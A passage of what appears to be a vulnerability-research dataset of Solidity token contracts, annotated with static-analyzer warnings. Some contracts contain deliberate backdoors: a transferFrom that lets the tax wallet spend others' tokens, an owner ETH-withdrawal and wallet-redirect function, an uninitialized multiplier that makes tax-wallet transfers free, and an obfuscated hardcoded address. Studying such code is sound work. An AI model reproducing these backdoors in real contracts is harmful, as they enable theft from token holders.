}\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1475ce5): DeVOTE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1475ce5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e6ec735): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e6ec735: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b7b8715): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b7b8715: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e6ec735\n\t\t// reentrancy-benign | ID: b7b8715\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e6ec735\n\t\t// reentrancy-benign | ID: b7b8715\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 735e3d6): DeVOTE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 735e3d6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b7b8715\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e6ec735\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6b55d2c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6b55d2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0fb5c95): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0fb5c95: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b2dcf8f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b2dcf8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6b55d2c\n\t\t\t\t// reentrancy-benign | ID: 0fb5c95\n\t\t\t\t// reentrancy-eth | ID: b2dcf8f\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6b55d2c\n\t\t\t\t\t// reentrancy-eth | ID: b2dcf8f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 0fb5c95\n minLiqBurn = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapPair) {\n BurnLiqLimit storage brnLim = burnLiqLimit[to];\n\n if (from == uniswapPair) {\n if (brnLim.burnLiqIndx == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 0fb5c95\n brnLim.burnLiqIndx = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnLiqLimit storage brnLimSn = burnLiqLimit[from];\n\n if (\n brnLim.burnLiqIndx == 0 ||\n brnLimSn.burnLiqIndx < brnLim.burnLiqIndx\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 0fb5c95\n brnLim.burnLiqIndx = brnLimSn.burnLiqIndx;\n }\n }\n } else {\n BurnLiqLimit storage brnLimSn = burnLiqLimit[from];\n\n\t\t\t\t// reentrancy-benign | ID: 0fb5c95\n brnLimSn.burnLiqAmnt = brnLimSn.burnLiqIndx.sub(minLiqBurn);\n\n\t\t\t\t// reentrancy-benign | ID: 0fb5c95\n brnLimSn.burnTotalAmnt = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 6b55d2c\n\t\t// reentrancy-eth | ID: b2dcf8f\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3c69165): DeVOTE.burnLiqLim is never initialized. It is used in DeVOTE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 3c69165: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnLiqLim.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b2dcf8f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6b55d2c\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: b2dcf8f\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: b2dcf8f\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 6b55d2c\n emit Transfer(from, to, receiptAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e6ec735\n\t\t// reentrancy-events | ID: 6b55d2c\n\t\t// reentrancy-benign | ID: 0fb5c95\n\t\t// reentrancy-benign | ID: b7b8715\n\t\t// reentrancy-eth | ID: b2dcf8f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e6ec735\n\t\t// reentrancy-events | ID: 6b55d2c\n\t\t// reentrancy-eth | ID: b2dcf8f\n _taxWallet.transfer(amount);\n }\n\n function transferAllStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e1cc3ef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e1cc3ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 25343d3): DeVOTE.openTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 25343d3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a99447c): DeVOTE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a99447c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e4ca897): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e4ca897: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e1cc3ef\n\t\t// reentrancy-eth | ID: e4ca897\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e1cc3ef\n swapEnabled = true;\n\n\t\t// unused-return | ID: a99447c\n\t\t// reentrancy-eth | ID: e4ca897\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 25343d3\n\t\t// reentrancy-eth | ID: e4ca897\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: e4ca897\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_1033.sol", "size_bytes": 23203, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract C3POR2D2 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _shouldFeeExcluded;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d01d7d): C3POR2D2._initialBuyTax should be constant \n\t// Recommendation for 0d01d7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: b707fe4): C3POR2D2._initialSellTax should be constant \n\t// Recommendation for b707fe4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 77b107b): C3POR2D2._finalBuyTax should be constant \n\t// Recommendation for 77b107b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18cd779): C3POR2D2._finalSellTax should be constant \n\t// Recommendation for 18cd779: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfc3c32): C3POR2D2._reduceBuyTaxAt should be constant \n\t// Recommendation for dfc3c32: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: a3af2e1): C3POR2D2._reduceSellTaxAt should be constant \n\t// Recommendation for a3af2e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Elon's Personal Robot\";\n\n string private constant _symbol = unicode\"C3POR2D2\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32e6b4e): C3POR2D2._maxTaxSwap should be constant \n\t// Recommendation for 32e6b4e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: edeb104): C3POR2D2.deveee should be immutable \n\t// Recommendation for edeb104: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deveee;\n\n address private kato;\n\n IUniswapV2Router02 private uniRouter;\n\n address private uniPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n deveee = msg.sender;\n\n _taxWallet = payable(0xd2738a7d138Ec55707327f4d9DDf51836777B631);\n\n _shouldFeeExcluded[owner()] = true;\n\n _shouldFeeExcluded[address(this)] = true;\n\n _shouldFeeExcluded[_taxWallet] = true;\n\n kato = _taxWallet;\n\n _balances[address(this)] = _tTotal;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd57256): C3POR2D2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cd57256: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 433c1a7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 433c1a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f96c6a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f96c6a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 433c1a7\n\t\t// reentrancy-benign | ID: f96c6a2\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-benign | ID: f96c6a2\n if (_msgSender() == kato) _allowances[sender][_msgSender()] += amount;\n\n\t\t// reentrancy-events | ID: 433c1a7\n\t\t// reentrancy-benign | ID: f96c6a2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][msg.sender].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ebcad9): C3POR2D2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ebcad9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f96c6a2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 433c1a7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 663f66b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 663f66b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 255e93e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 255e93e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniPair &&\n to != address(uniRouter) &&\n !_shouldFeeExcluded[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniPair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniPair && swapEnabled) {\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: 663f66b\n\t\t\t\t\t// reentrancy-eth | ID: 255e93e\n swapKMM(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 663f66b\n\t\t\t\t// reentrancy-eth | ID: 255e93e\n send_KMM_Eth(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 255e93e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 663f66b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 255e93e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 255e93e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 663f66b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function ManualKMM() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapKMM(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n send_KMM_Eth(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 426a729): C3POR2D2.getKMMETH(address)._wallet lacks a zerocheck on \t kato = _taxWallet = _wallet\n\t// Recommendation for 426a729: Check that the address is not zero.\n function getKMMETH(address payable _wallet) external {\n require(msg.sender == deveee);\n\n\t\t// missing-zero-check | ID: 426a729\n kato = _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2b82af9): C3POR2D2.send_KMM_Eth(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2b82af9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function send_KMM_Eth(uint256 amount) private {\n\t\t// reentrancy-events | ID: 433c1a7\n\t\t// reentrancy-events | ID: 663f66b\n\t\t// reentrancy-eth | ID: 255e93e\n\t\t// arbitrary-send-eth | ID: 2b82af9\n _taxWallet.transfer(amount);\n }\n\n function swapKMM(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouter.WETH();\n\n _approve(address(this), address(uniRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 433c1a7\n\t\t// reentrancy-events | ID: 663f66b\n\t\t// reentrancy-benign | ID: f96c6a2\n\t\t// reentrancy-eth | ID: 255e93e\n uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c58981): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c58981: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2454928): C3POR2D2.openTrading() ignores return value by IERC20(uniPair).approve(address(uniRouter),type()(uint256).max)\n\t// Recommendation for 2454928: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8ba0b60): C3POR2D2.openTrading() ignores return value by uniRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8ba0b60: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3773a01): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3773a01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouter), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0c58981\n\t\t// reentrancy-eth | ID: 3773a01\n uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(\n address(this),\n uniRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0c58981\n\t\t// unused-return | ID: 8ba0b60\n\t\t// reentrancy-eth | ID: 3773a01\n uniRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0c58981\n\t\t// unused-return | ID: 2454928\n\t\t// reentrancy-eth | ID: 3773a01\n IERC20(uniPair).approve(address(uniRouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0c58981\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3773a01\n tradingOpen = true;\n }\n}\n", "file_name": "solidity_code_10330.sol", "size_bytes": 18800, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner 